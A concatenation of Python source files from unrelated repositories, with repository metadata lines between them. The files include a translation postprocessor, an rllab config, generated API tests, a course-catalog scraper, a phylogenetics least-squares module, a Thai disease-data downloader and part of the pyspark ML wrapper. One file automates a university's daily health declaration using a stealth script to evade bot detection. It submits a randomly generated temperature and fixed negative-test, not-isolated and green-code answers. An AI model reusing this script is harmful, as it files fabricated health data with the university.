source = message.find('source').text translation_node = message.find('translation') # pick all numerusforms if numerus: translations = [i.text for i in translation_node.findall('numerusform')] else: translations = [translation_node.text] for translation in translations: if translation is None: continue errors = [] valid = check_format_specifiers(source, translation, errors, numerus) for error in errors: print('%s: %s' % (filename, error)) if not valid: # set type to unfinished and clear string if invalid translation_node.clear() translation_node.set('type', 'unfinished') have_errors = True # Remove location tags for location in message.findall('location'): message.remove(location) # Remove entire message if it is an unfinished translation if translation_node.get('type') == 'unfinished': context.remove(message) # check if document is (virtually) empty, and remove it if so num_messages = 0 for context in root.findall('context'): for message in context.findall('message'): num_messages += 1 if num_messages < MIN_NUM_MESSAGES: print('Removing %s, as it contains only %i messages' % (filepath, num_messages)) continue # write fixed-up tree # if diff reduction requested, replace some XML to 'sanitize' to qt formatting if reduce_diff_hacks: out = io.BytesIO() tree.write(out, encoding='utf-8') out = out.getvalue() out = out.replace(b' />', b'/>') with open(filepath, 'wb') as f: f.write(out) else: tree.write(filepath, encoding='utf-8') return have_errors if __name__ == '__main__': check_at_repository_root() fetch_all_translations() postprocess_translations()

38.616114

124

0.633775

ff93d470b1e0aa6f3095869d96cfb037be94fe75

1,978

py

Python

rllab/config.py

jackwilkinson255/mbmpo_master

e9e0eaf542c7895764dcb0bfee28752818124ff2

[ "MIT" ]

28

2018-11-15T14:14:23.000Z

2022-01-10T01:53:43.000Z

rllab/config.py

hongzimao/model_ensemble_meta_learning

8b1351df94dfe530efaff1118022315c8d877774

[ "MIT" ]

3

2019-05-05T23:39:01.000Z

2021-06-15T15:28:06.000Z

rllab/config.py

hongzimao/model_ensemble_meta_learning

8b1351df94dfe530efaff1118022315c8d877774

[ "MIT" ]

14

2018-11-15T16:47:02.000Z

2021-05-28T14:58:01.000Z

import os.path as osp import os PROJECT_PATH = osp.abspath(osp.join(osp.dirname(__file__), '..')) LOG_DIR = PROJECT_PATH + "/data" USE_TF = False DOCKER_IMAGE = "DOCKER_IMAGE" DOCKERFILE_PATH = "/path/to/Dockerfile" KUBE_PREFIX = "rllab_" DOCKER_LOG_DIR = "/tmp/expt" POD_DIR = PROJECT_PATH + "/.pods" AWS_S3_PATH = None AWS_IMAGE_ID = None AWS_INSTANCE_TYPE = "m4.xlarge" AWS_KEY_NAME = "AWS_KEY_NAME" AWS_SPOT = True AWS_SPOT_PRICE = '1.0' AWS_ACCESS_KEY = os.environ.get("AWS_ACCESS_KEY", None) AWS_ACCESS_SECRET = os.environ.get("AWS_ACCESS_SECRET", None) AWS_IAM_INSTANCE_PROFILE_NAME = "rllab" AWS_SECURITY_GROUPS = ["rllab"] AWS_SECURITY_GROUP_IDS = [] AWS_NETWORK_INTERFACES = [] AWS_EXTRA_CONFIGS = dict() AWS_REGION_NAME = "us-east-1" CODE_SYNC_IGNORES = ["*.git/*", "*data/*", "*.pod/*"] DOCKER_CODE_DIR = "/root/code/rllab" AWS_CODE_SYNC_S3_PATH = "s3://to/be/overriden/in/personal" # whether to use fast code sync FAST_CODE_SYNC = True FAST_CODE_SYNC_IGNORES = [".git", "data", ".pods"] KUBE_DEFAULT_RESOURCES = { "requests": { "cpu": 0.8, } } KUBE_DEFAULT_NODE_SELECTOR = { "aws/type": "m4.xlarge", } MUJOCO_KEY_PATH = osp.expanduser("~/.mujoco") # MUJOCO_KEY_PATH = osp.join(osp.dirname(__file__), "../vendor/mujoco") MUJOCO_MODEL_PATH = osp.join(osp.dirname(__file__), "../vendor/mujoco_models") ENV = {} EBS_OPTIMIZED = True if osp.exists(osp.join(osp.dirname(__file__), "config_personal.py")): from .config_personal import * else: print("Creating your personal config from template...") from shutil import copy copy(osp.join(PROJECT_PATH, "rllab/config_personal_template.py"), osp.join(PROJECT_PATH, "rllab/config_personal.py")) from .config_personal import * print("Personal config created, but you should probably edit it before further experiments " \ "are run") if 'CIRCLECI' not in os.environ: print("Exiting.") import sys; sys.exit(0) LABEL = ""

21.736264

121

0.704247

aabd1c96726a91821d1e508d0192cad891c0d054

1,443

py

Python

clients/python/generated/test/test_inline_object2.py

ub1k24/swagger-aem

c9ae0cf8b57d27658527982d6d6653790d3acf80

[ "Apache-2.0" ]

39

2016-10-02T06:45:12.000Z

2021-09-08T20:39:53.000Z

clients/python/generated/test/test_inline_object2.py

ub1k24/swagger-aem

c9ae0cf8b57d27658527982d6d6653790d3acf80

[ "Apache-2.0" ]

35

2016-11-02T05:06:34.000Z

2021-09-03T06:03:08.000Z

clients/python/generated/test/test_inline_object2.py

ub1k24/swagger-aem

c9ae0cf8b57d27658527982d6d6653790d3acf80

[ "Apache-2.0" ]

23

2016-11-07T04:14:42.000Z

2021-02-15T09:49:13.000Z

# coding: utf-8 """ Adobe Experience Manager (AEM) API Swagger AEM is an OpenAPI specification for Adobe Experience Manager (AEM) API # noqa: E501 The version of the OpenAPI document: 3.4.0-pre.0 Contact: opensource@shinesolutions.com Generated by: https://openapi-generator.tech """ from __future__ import absolute_import import unittest import datetime import swaggeraem from swaggeraem.models.inline_object2 import InlineObject2 # noqa: E501 from swaggeraem.rest import ApiException class TestInlineObject2(unittest.TestCase): """InlineObject2 unit test stubs""" def setUp(self): pass def tearDown(self): pass def make_instance(self, include_optional): """Test InlineObject2 include_option is a boolean, when False only required params are included, when True both required and optional params are included """ # model = swaggeraem.models.inline_object2.InlineObject2() # noqa: E501 if include_optional : return InlineObject2( certificate = bytes(b'blah') ) else : return InlineObject2( ) def testInlineObject2(self): """Test InlineObject2""" inst_req_only = self.make_instance(include_optional=False) inst_req_and_optional = self.make_instance(include_optional=True) if __name__ == '__main__': unittest.main()

26.722222

96

0.67429

d4097900d3898f5f10b17f62888eca6963bb958a

1,676

py

Python

exabel_data_sdk/tests/client/api/test_entity_api.py

aksestok/python-sdk

520a3d9822ffa9a023262b379ea3b3d19cb10853

[ "MIT" ]

null

exabel_data_sdk/tests/client/api/test_entity_api.py

aksestok/python-sdk

520a3d9822ffa9a023262b379ea3b3d19cb10853

[ "MIT" ]

null

exabel_data_sdk/tests/client/api/test_entity_api.py

aksestok/python-sdk

520a3d9822ffa9a023262b379ea3b3d19cb10853

[ "MIT" ]

null

import unittest from exabel_data_sdk.client.api.data_classes.entity import Entity from exabel_data_sdk.client.api.entity_api import EntityApi from exabel_data_sdk.tests.client.api.mock_entity_api import MockEntityApi class TestEntityApi(unittest.TestCase): def test_upsert(self): for assume_exists in (True, False): entity_api: EntityApi = MockEntityApi() expected = Entity( name="entityTypes/company/entities/Amazon", display_name="Amazon", ) created_entity = entity_api.upsert_entity(expected, assume_exists) self.assertEqual(expected, created_entity) updated_entity = entity_api.upsert_entity(expected, assume_exists) self.assertEqual(expected, updated_entity) def test_upsert_replaces_resource(self): for assume_exists in (True, False): entity_api: EntityApi = MockEntityApi() old_entity = Entity( name="entityTypes/company/entities/Amazon", display_name="Amazon's old display name", description="Amazon's old description", properties={"old_property": "old_value"}, ) expected = Entity( name="entityTypes/company/entities/Amazon", display_name="Amazon", description="Amazon's new description", ) entity_api.create_entity(old_entity, old_entity.get_entity_type()) entity_api.upsert_entity(expected, assume_exists) actual_entity = entity_api.get_entity(expected.name) self.assertEqual(expected, actual_entity)

42.974359

78

0.648568

b902705c8f6e93393788099063b26598ccbb0c02

5,742

py

Python

main.py

incredible-smurf/xjtu_healthy_for_graduates

3c09d9626b01ef97a7146d5649e58b024a6bea25

[ "MIT" ]

null

main.py

incredible-smurf/xjtu_healthy_for_graduates

3c09d9626b01ef97a7146d5649e58b024a6bea25

[ "MIT" ]

null

main.py

incredible-smurf/xjtu_healthy_for_graduates

3c09d9626b01ef97a7146d5649e58b024a6bea25

[ "MIT" ]

null

#coding=utf-8 import logging import os import random import time from dotenv import load_dotenv from selenium import webdriver from selenium.common.exceptions import NoSuchElementException from selenium.webdriver.common.by import By from selenium.webdriver.common.keys import Keys from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.common.action_chains import ActionChains load_dotenv() logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) def wait_for_ajax(driver): wait = WebDriverWait(driver, 15) try: wait.until(lambda driver: driver.execute_script('return jQuery.active') == 0) wait.until(lambda driver: driver.execute_script('return document.readyState') == 'complete') except Exception as e: pass def main(): netid = os.getenv("netid") password = os.getenv("password") options = webdriver.ChromeOptions() options.headless = True options.add_argument("--window-size=1920,1080") options.add_argument('user-agent=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36') with open('./stealth.min.js') as f: js = f.read() #options.add_experimental_option("debuggerAddress", "127.0.0.1:9222") driver = webdriver.Chrome(options=options) driver.execute_cdp_cmd("Page.addScriptToEvaluateOnNewDocument", {"source": js}) driver.get("http://jkrb.xjtu.edu.cn/EIP/user/index.htm") wait = WebDriverWait(driver=driver, timeout=30) wait.until((EC.url_contains("org.xjtu.edu.cn"))) elem = wait.until( EC.presence_of_element_located((By.XPATH, '//*[@id="form1"]/input[1]')) ) elem.send_keys(netid) elem = wait.until( EC.presence_of_element_located((By.XPATH, '//*[@id="form1"]/input[2]')) ) elem.send_keys(password) elem.send_keys(Keys.ENTER) try: wait.until(EC.url_contains("http://jkrb.xjtu.edu.cn/EIP/user/index.htm")) except Exception: logger.info("nothing") logger.info("Successful Login") wait_for_ajax(driver) iframe = driver.find_element_by_xpath("//iframe[@onload='__iframe_onload2()']") driver.switch_to.frame(iframe) iframe = driver.find_element_by_xpath("//iframe[@onload='__iframe_onload1()']") driver.switch_to.frame(iframe) iframe=driver.find_element_by_xpath('//div[@title="研究生每日健康状况填报"]') iframe.click() driver.implicitly_wait(1) driver.switch_to.default_content() driver.implicitly_wait(5) iframe = driver.find_element_by_xpath( "//iframe[@onload='__iframe_onload3()']") driver.switch_to.frame(iframe) iframe= driver.find_element_by_xpath(r'//li[@data-blname="每日健康填报"]') iframe.click() driver.implicitly_wait(1) driver.switch_to.default_content() driver.implicitly_wait(5) try : iframe = driver.find_element_by_xpath("//iframe[@onload='__iframe_onload4()']") driver.switch_to.frame(iframe) iframe = driver.find_element_by_xpath("//iframe[@onload='__iframe_onload1()']") driver.switch_to.frame(iframe) temp = str(round(36 + random.random(), 1)) driver.find_element_by_xpath( '//*[@id="BRTW$text"]' ).send_keys(temp) print('st 确认须知') driver.find_element_by_xpath('//*[@id="mini-2$ck$0"and @value="1"]').click() #确认须知 #日期 date = time.localtime(time.time()-8*3600) send_date = str(date.tm_year)+'-'+str(date.tm_mon)+'-'+str(date.tm_mday)+" 13:31" data_input = driver.find_element_by_xpath('//*[@id="ZJYCHSJCSJ$text"]') time.sleep(5) data_input.clear() data_input.send_keys(send_date) driver.find_element_by_xpath('//*[@id="mini-4$ck$0" and @value="是"]').click() time.sleep(random.uniform(1,2)) driver.find_element_by_xpath('//*[@id="mini-9$ck$1" and @value="阴性"]').click() time.sleep(random.uniform(1,2)) driver.find_element_by_xpath('//*[@id="mini-10$ck$0" and @value="未被隔离"]').click() time.sleep(random.uniform(1,2)) driver.find_element_by_xpath('//*[@id="mini-11$ck$2" and @value="绿色"]').click() time.sleep(random.uniform(1,2)) logger.info(f"Today's body temp. is {temp}") driver.switch_to.default_content() driver.implicitly_wait(5) iframe = driver.find_element_by_xpath("//iframe[@onload='__iframe_onload4()']") driver.implicitly_wait(5) driver.switch_to.frame(iframe) submit=driver.find_element_by_xpath('//*[@id="sendBtn"]') submit.click() driver.implicitly_wait(5) submit=driver.find_element_by_xpath('//*[@id="mini-17"]/span') submit.click() try: driver.switch_to.default_content() driver.implicitly_wait(1) iframe = driver.find_element_by_xpath( "//iframe[@onload='__iframe_onload4()']" ) driver.switch_to.frame(iframe) elem = driver.find_element_by_xpath("//*[@id='mini-19$content']") logger.info(elem.text) except NoSuchElementException: logger.info("Successful submit!") except NoSuchElementException: driver.switch_to.default_content() iframe = driver.find_element_by_xpath("//iframe[@onload='__iframe_onload5()']") driver.switch_to.frame(iframe) elem = driver.find_element_by_xpath("//*[@id='messageId']") logger.info("You've already checked in.") logger.info(elem.text) if __name__ == "__main__": main()

34.590361

160

0.653605

3ee91d056507eea2b793da59df8f6109f0e43d79

3,949

py

Python

uh.collegescheduler.com/corecurriculum/sectionattributes/src/sectionattributes.py

cougargrades/json

42f0c46f8c69a2c7f8c531775f744a782ae825a8

[ "MIT" ]

null

uh.collegescheduler.com/corecurriculum/sectionattributes/src/sectionattributes.py

cougargrades/json

42f0c46f8c69a2c7f8c531775f744a782ae825a8

[ "MIT" ]

null

uh.collegescheduler.com/corecurriculum/sectionattributes/src/sectionattributes.py

cougargrades/json

42f0c46f8c69a2c7f8c531775f744a782ae825a8

[ "MIT" ]

null

#!/usr/bin/env python3 import argparse import requests import json from halo import Halo parser = argparse.ArgumentParser(description='Scrapes UH CollegeScheduler API to enumerate all courses by section attributes.') parser.add_argument('apiUrl', metavar='API_URL', type=str, help='The API URL used. No trailing slash. Ex: http://uh.collegescheduler.com') args = parser.parse_args() HOST = args.apiUrl catalog_data = {} try: spinner = Halo(text=f'Testing API access', spinner='dots') spinner.start() res = requests.get(f'{HOST}/api/terms') if res.status_code == 200 and 'studentCareers' in res.json()[0].keys(): spinner.succeed(text=f'API access confirmed') else: spinner.fail(text=f'API access failed') except Exception as err: spinner.fail(text=f'API access failed with an Exception: {err}') try: spinner = Halo(text=f'Enumerating available terms', spinner='dots') spinner.start() res = requests.get(f'{HOST}/api/terms') catalog_data["terms"] = [x["id"] for x in res.json()] spinner.succeed() print(f'\t{catalog_data["terms"]}') except Exception as err: spinner.fail() print(err) try: spinner = Halo(text=f'Enumerating section attributes', spinner='dots') spinnertxt = spinner.text n = 0 spinner.start() catalog_data["sectionAttributes"] = [] # for every term currently accessible for term in catalog_data["terms"]: res = requests.get(f'{HOST}/api/terms/{term}/sectionattributes') # for every attribute catalog_data["sectionAttributes"] += [{ "id": x["id"], "title": x["attrTitle"] } for x in res.json()] deduped = [] for i in catalog_data["sectionAttributes"]: if i not in deduped: deduped.append(i) catalog_data["sectionAttributes"] = deduped spinner.succeed() print(f'\t{[x["id"] for x in catalog_data["sectionAttributes"]]}') except Exception as err: spinner.fail() print(err) try: spinner = Halo(text=f'Computing total course count', spinner='dots') spinner.start() # for every term currently accessible total = 0 for term in catalog_data["terms"]: res = requests.get(f'{HOST}/api/terms/{term}/courses') total += len(res.json()) spinner.succeed(f'{total} total courses found from accessible terms.') except Exception as err: spinner.fail() print(err) try: spinner = Halo(text=f'Enumerating courses by subject, by section attributes, by term', spinner='dots') spinnertxt = spinner.text n = 0 spinner.start() # for every term currently accessible for term in catalog_data["terms"]: res = requests.get(f'{HOST}/api/terms/{term}/sectionattributes') # for every attribute attributes = [x["id"] for x in res.json()] for attr in attributes: res = requests.get(f'{HOST}/api/terms/{term}/sectionattributevalues/{attr}/subjects') attributed_courses = [] subjects = [x["id"] for x in res.json()] # for every subject for sub in subjects: res = requests.get(f'{HOST}/api/terms/{term}/sectionattributevalues/{attr}/subjects/{sub}/courses') courses = [x for x in res.json()] for item in courses: item["sectionAttribute"] = attr spinner.text = f'{spinnertxt}: {n} courses observed, generating `{term} {attr}.jsonl`' n += 1 attributed_courses += courses with open(f'{term} {attr}.jsonl', 'w') as f: for item in attributed_courses: f.write(f'{json.dumps(item)}\n') spinner.succeed() print(f'Files were written') except Exception as err: spinner.fail() print(err) # write manifest.json with open(f'manifest.json', 'w') as f: f.write(f'{json.dumps(catalog_data, indent=4, sort_keys=True)}\n')

35.258929

127

0.62902

a01efdf105fb89ca1c8a5c32a5f43d981fbba61d

3,372

py

Python

src/cogent3/phylo/least_squares.py

rahulghangas/cogent3

f00cf822efce5f3141b3c7dafac81cb94a311e22

[ "BSD-3-Clause" ]

null

src/cogent3/phylo/least_squares.py

rahulghangas/cogent3

f00cf822efce5f3141b3c7dafac81cb94a311e22

[ "BSD-3-Clause" ]

null

src/cogent3/phylo/least_squares.py

rahulghangas/cogent3

f00cf822efce5f3141b3c7dafac81cb94a311e22

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python import numpy from numpy.linalg import solve as solve_linear_equations from .tree_space import TreeEvaluator, ancestry2tree from .util import ( distance_dict_and_names_to_1D, distance_dict_to_1D, triangular_order, ) __author__ = "Peter Maxwell" __copyright__ = "Copyright 2007-2019, The Cogent Project" __credits__ = ["Peter Maxwell", "Gavin Huttley"] __license__ = "BSD-3" __version__ = "2019.9.13a" __maintainer__ = "Peter Maxwell" __email__ = "pm67nz@gmail.com" __status__ = "Production" # This is a fairly slow implementation and NOT suitable for large trees. # Trees are represented as "ancestry" matricies in which A[i,j] iff j is an # ancestor of i. For the LS calculations the ancestry matrix is converted # to a "paths" matrix or "split metric" in which S[p,j] iff the path between # the pth pair of tips passes through edge j. def _ancestry2paths(A): """Convert edge x edge ancestry matrix to tip-to-tip path x edge split metric matrix. The paths will be in the same triangular matrix order as produced by distance_dict_and_names_to_1D, provided that the tips appear in the correct order in A""" tips = [i for i in range(A.shape[0]) if sum(A[:, i]) == 1] paths = [] for (tip1, tip2) in triangular_order(tips): path = A[tip1] ^ A[tip2] paths.append(path) return numpy.array(paths) class WLS(TreeEvaluator): """(err, best_tree) = WLS(dists).trex()""" def __init__(self, dists, weights=None): """Arguments: - dists: a dict with structure (seq1, seq2): distance - weights: an equivalently structured dict with measurements of variability of the distance estimates. By default, the sqrt of distance is used.""" try: dists = dists.to_dict() except AttributeError: pass self.dists = dists self.weights = weights or dict( (key, 1.0 / (self.dists[key] ** 2)) for key in self.dists ) (self.names, dists) = distance_dict_to_1D(self.dists) def make_tree_scorer(self, names): dists = distance_dict_and_names_to_1D(self.dists, names) weights = distance_dict_and_names_to_1D(self.weights, names) # dists and weights are 1D forms of triangular tip x tip matrices # The order of the tip-to-tip paths is the same for dists, weights and # A weights_dists = weights * dists def evaluate( ancestry, lengths=None, sum=sum, _ancestry2paths=_ancestry2paths, dot=numpy.dot, maximum=numpy.maximum, transpose=numpy.transpose, solve=solve_linear_equations, ): A = _ancestry2paths(ancestry) if lengths is None: At = transpose(A) X = dot(weights * At, A) y = dot(At, weights_dists) lengths = solve(X, y) lengths = maximum(lengths, 0.0) diffs = dot(A, lengths) - dists err = sum(diffs ** 2) return (err, lengths) return evaluate def result2output(self, err, ancestry, lengths, names): return (err, ancestry2tree(ancestry, lengths, names)) def wls(*args, **kw): (err, tree) = WLS(*args).trex(**kw) return tree

33.386139

82

0.628114

066fbe5b26bae836883f037e60b9232393167605

3,159

py

Python

src/data/download/TH_disease.py

juliazam/healthcare_ASEAN

3cc451f723124f18b2d11c79ff80a6c5a9354c6e

[ "MIT" ]

25

2016-04-24T14:00:36.000Z

2021-01-07T07:26:00.000Z

src/data/download/TH_disease.py

shikhakhanna19/healthcare_ASEAN

3f89ec67fde825bf3b6275cee0e8f13812533c1e

[ "MIT" ]

25

2016-06-24T07:04:39.000Z

2020-10-03T23:01:41.000Z

src/data/download/TH_disease.py

shikhakhanna19/healthcare_ASEAN

3f89ec67fde825bf3b6275cee0e8f13812533c1e

[ "MIT" ]

112

2016-06-24T01:41:00.000Z

2020-10-03T00:33:22.000Z

# -*- coding: utf-8 -*- """Download historical RTF data from Thailand's Bureau of Epidemiology.""" from bs4 import BeautifulSoup import re import sys import os import logging import requests BASE_URL = 'http://www.boe.moph.go.th/boedb/surdata' PAGE_URL = BASE_URL + '/disease.php?dcontent=old&ds={}' DISEASE_CODES = {'Malaria': 30, 'Dengue Fever': 66} DATA_DIR = os.path.join(os.path.abspath(__file__ + '/../../../..'), 'data/raw') logger = logging.getLogger() logger.addHandler(logging.NullHandler()) def log_url(r, *args, **kwargs): logger.info('Downloading %s', r.url) def scrape_links(url): """Download all .rtf files linked from the given url.""" response = requests.get(url) response.raise_for_status() logger.info('Scraping links in %s', url) soup = BeautifulSoup(response.content, 'html.parser') return soup.find_all(href=re.compile('.rtf')) def format_raw_data_path(disease_subfolder, link): data_subfolder = link.parent.parent.find('font').contents[0].strip('()') file_name = link.contents[0] dir_path = os.path.join(DATA_DIR, disease_subfolder, data_subfolder) os.makedirs(dir_path, exist_ok=True) return os.path.join(dir_path, '%s.rtf' % (file_name)) def download_file(download_url): # Request will be redirected unless the HTTP referer is the original host headers = {'Referer': BASE_URL} response = requests.get(download_url, headers=headers, hooks=dict(response=log_url)) response.raise_for_status() return response def download(): # Overwrite the INFO logging level inherited from the root logger logging.getLogger('requests').setLevel(logging.ERROR) for (name, dc) in DISEASE_CODES.items(): logger.info('Downloading files for %s', name) try: links = scrape_links(PAGE_URL.format(dc)) except requests.exceptions.RequestException as e: logger.critical('Failed to GET the Bureau of Epidemiology\'s site') sys.exit(1) for index, link in enumerate(links): disease_subfolder = name.lower() + "_TH" file_path = format_raw_data_path(disease_subfolder, link) data_url = BASE_URL + '/' + link['href'] try: raw_data = download_file(data_url) except requests.exceptions.RequestException as e: if e.response.status_code == 404: logger.info('Failed to download %s since file was not found \ on server with HTTP status code 404', e.response.url) continue logger.exception( 'Failed to download %s with HTTP status code %i', e.response.url, e.response.status_code ) continue logger.debug("Writing to %s", file_path) with open(file_path, 'wb') as data_file: data_file.write(raw_data.content) else: logger.info('Finished downloading files for %s', name) if __name__ == '__main__': import logging.config logging.config.fileConfig('logconf.ini') download()

35.1

81

0.63881

385a2439e27e28a49e8e1c7d19541ab9545dadac

16,937

py

Python

python/pyspark/ml/wrapper.py

yangwwei/spark

dc153f525c8c895b9ceac8dfb3516b601c86a462

[ "BSD-2-Clause", "Apache-2.0", "CC0-1.0", "MIT", "MIT-0", "ECL-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]

1

2022-02-15T04:39:56.000Z

python/pyspark/ml/wrapper.py

yangwwei/spark

dc153f525c8c895b9ceac8dfb3516b601c86a462

[ "BSD-2-Clause", "Apache-2.0", "CC0-1.0", "MIT", "MIT-0", "ECL-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]

3

2022-01-21T23:55:04.000Z

2022-02-24T20:00:18.000Z

python/pyspark/ml/wrapper.py

yangwwei/spark

dc153f525c8c895b9ceac8dfb3516b601c86a462

[ "BSD-2-Clause", "Apache-2.0", "CC0-1.0", "MIT", "MIT-0", "ECL-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]

1

2022-03-09T08:50:07.000Z

# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from abc import ABCMeta, abstractmethod from typing import Any, Generic, Optional, List, Type, TypeVar, TYPE_CHECKING from pyspark import since from pyspark import SparkContext from pyspark.sql import DataFrame from pyspark.ml import Estimator, Predictor, PredictionModel, Transformer, Model from pyspark.ml.base import _PredictorParams from pyspark.ml.param import Param, Params from pyspark.ml.util import _jvm # type: ignore[attr-defined] from pyspark.ml.common import inherit_doc, _java2py, _py2java if TYPE_CHECKING: from pyspark.ml._typing import ParamMap from py4j.java_gateway import JavaObject, JavaClass T = TypeVar("T") JW = TypeVar("JW", bound="JavaWrapper") JM = TypeVar("JM", bound="JavaTransformer") JP = TypeVar("JP", bound="JavaParams") class JavaWrapper: """ Wrapper class for a Java companion object """ def __init__(self, java_obj: Optional["JavaObject"] = None): super(JavaWrapper, self).__init__() self._java_obj = java_obj def __del__(self) -> None: if SparkContext._active_spark_context and self._java_obj is not None: SparkContext._active_spark_context._gateway.detach( # type: ignore[union-attr] self._java_obj ) @classmethod def _create_from_java_class(cls: Type[JW], java_class: str, *args: Any) -> JW: """ Construct this object from given Java classname and arguments """ java_obj = JavaWrapper._new_java_obj(java_class, *args) return cls(java_obj) def _call_java(self, name: str, *args: Any) -> Any: m = getattr(self._java_obj, name) sc = SparkContext._active_spark_context assert sc is not None java_args = [_py2java(sc, arg) for arg in args] return _java2py(sc, m(*java_args)) @staticmethod def _new_java_obj(java_class: str, *args: Any) -> "JavaObject": """ Returns a new Java object. """ sc = SparkContext._active_spark_context assert sc is not None java_obj = _jvm() for name in java_class.split("."): java_obj = getattr(java_obj, name) java_args = [_py2java(sc, arg) for arg in args] return java_obj(*java_args) @staticmethod def _new_java_array(pylist: List[Any], java_class: "JavaClass") -> "JavaObject": """ Create a Java array of given java_class type. Useful for calling a method with a Scala Array from Python with Py4J. If the param pylist is a 2D array, then a 2D java array will be returned. The returned 2D java array is a square, non-jagged 2D array that is big enough for all elements. The empty slots in the inner Java arrays will be filled with null to make the non-jagged 2D array. Parameters ---------- pylist : list Python list to convert to a Java Array. java_class : :py:class:`py4j.java_gateway.JavaClass` Java class to specify the type of Array. Should be in the form of sc._gateway.jvm.* (sc is a valid Spark Context). Example primitive Java classes: - basestring -> sc._gateway.jvm.java.lang.String - int -> sc._gateway.jvm.java.lang.Integer - float -> sc._gateway.jvm.java.lang.Double - bool -> sc._gateway.jvm.java.lang.Boolean Returns ------- :py:class:`py4j.java_collections.JavaArray` Java Array of converted pylist. """ sc = SparkContext._active_spark_context assert sc is not None assert sc._gateway is not None java_array = None if len(pylist) > 0 and isinstance(pylist[0], list): # If pylist is a 2D array, then a 2D java array will be created. # The 2D array is a square, non-jagged 2D array that is big enough for all elements. inner_array_length = 0 for i in range(len(pylist)): inner_array_length = max(inner_array_length, len(pylist[i])) java_array = sc._gateway.new_array(java_class, len(pylist), inner_array_length) for i in range(len(pylist)): for j in range(len(pylist[i])): java_array[i][j] = pylist[i][j] else: java_array = sc._gateway.new_array(java_class, len(pylist)) for i in range(len(pylist)): java_array[i] = pylist[i] return java_array @inherit_doc class JavaParams(JavaWrapper, Params, metaclass=ABCMeta): """ Utility class to help create wrapper classes from Java/Scala implementations of pipeline components. """ #: The param values in the Java object should be #: synced with the Python wrapper in fit/transform/evaluate/copy. def _make_java_param_pair(self, param: Param[T], value: T) -> "JavaObject": """ Makes a Java param pair. """ sc = SparkContext._active_spark_context assert sc is not None and self._java_obj is not None param = self._resolveParam(param) java_param = self._java_obj.getParam(param.name) java_value = _py2java(sc, value) return java_param.w(java_value) def _transfer_params_to_java(self) -> None: """ Transforms the embedded params to the companion Java object. """ assert self._java_obj is not None pair_defaults = [] for param in self.params: if self.isSet(param): pair = self._make_java_param_pair(param, self._paramMap[param]) self._java_obj.set(pair) if self.hasDefault(param): pair = self._make_java_param_pair(param, self._defaultParamMap[param]) pair_defaults.append(pair) if len(pair_defaults) > 0: sc = SparkContext._active_spark_context assert sc is not None and sc._jvm is not None pair_defaults_seq = sc._jvm.PythonUtils.toSeq(pair_defaults) self._java_obj.setDefault(pair_defaults_seq) def _transfer_param_map_to_java(self, pyParamMap: "ParamMap") -> "JavaObject": """ Transforms a Python ParamMap into a Java ParamMap. """ paramMap = JavaWrapper._new_java_obj("org.apache.spark.ml.param.ParamMap") for param in self.params: if param in pyParamMap: pair = self._make_java_param_pair(param, pyParamMap[param]) paramMap.put([pair]) return paramMap def _create_params_from_java(self) -> None: """ SPARK-10931: Temporary fix to create params that are defined in the Java obj but not here """ assert self._java_obj is not None java_params = list(self._java_obj.params()) from pyspark.ml.param import Param for java_param in java_params: java_param_name = java_param.name() if not hasattr(self, java_param_name): param: Param[Any] = Param(self, java_param_name, java_param.doc()) setattr(param, "created_from_java_param", True) setattr(self, java_param_name, param) self._params = None # need to reset so self.params will discover new params def _transfer_params_from_java(self) -> None: """ Transforms the embedded params from the companion Java object. """ sc = SparkContext._active_spark_context assert sc is not None and self._java_obj is not None for param in self.params: if self._java_obj.hasParam(param.name): java_param = self._java_obj.getParam(param.name) # SPARK-14931: Only check set params back to avoid default params mismatch. if self._java_obj.isSet(java_param): value = _java2py(sc, self._java_obj.getOrDefault(java_param)) self._set(**{param.name: value}) # SPARK-10931: Temporary fix for params that have a default in Java if self._java_obj.hasDefault(java_param) and not self.isDefined(param): value = _java2py(sc, self._java_obj.getDefault(java_param)).get() self._setDefault(**{param.name: value}) def _transfer_param_map_from_java(self, javaParamMap: "JavaObject") -> "ParamMap": """ Transforms a Java ParamMap into a Python ParamMap. """ sc = SparkContext._active_spark_context assert sc is not None paramMap = dict() for pair in javaParamMap.toList(): param = pair.param() if self.hasParam(str(param.name())): paramMap[self.getParam(param.name())] = _java2py(sc, pair.value()) return paramMap @staticmethod def _empty_java_param_map() -> "JavaObject": """ Returns an empty Java ParamMap reference. """ return _jvm().org.apache.spark.ml.param.ParamMap() def _to_java(self) -> "JavaObject": """ Transfer this instance's Params to the wrapped Java object, and return the Java object. Used for ML persistence. Meta-algorithms such as Pipeline should override this method. Returns ------- py4j.java_gateway.JavaObject Java object equivalent to this instance. """ self._transfer_params_to_java() return self._java_obj @staticmethod def _from_java(java_stage: "JavaObject") -> "JP": """ Given a Java object, create and return a Python wrapper of it. Used for ML persistence. Meta-algorithms such as Pipeline should override this method as a classmethod. """ def __get_class(clazz: str) -> Type[JP]: """ Loads Python class from its name. """ parts = clazz.split(".") module = ".".join(parts[:-1]) m = __import__(module) for comp in parts[1:]: m = getattr(m, comp) return m stage_name = java_stage.getClass().getName().replace("org.apache.spark", "pyspark") # Generate a default new instance from the stage_name class. py_type = __get_class(stage_name) if issubclass(py_type, JavaParams): # Load information from java_stage to the instance. py_stage = py_type() py_stage._java_obj = java_stage # SPARK-10931: Temporary fix so that persisted models would own params from Estimator if issubclass(py_type, JavaModel): py_stage._create_params_from_java() py_stage._resetUid(java_stage.uid()) py_stage._transfer_params_from_java() elif hasattr(py_type, "_from_java"): 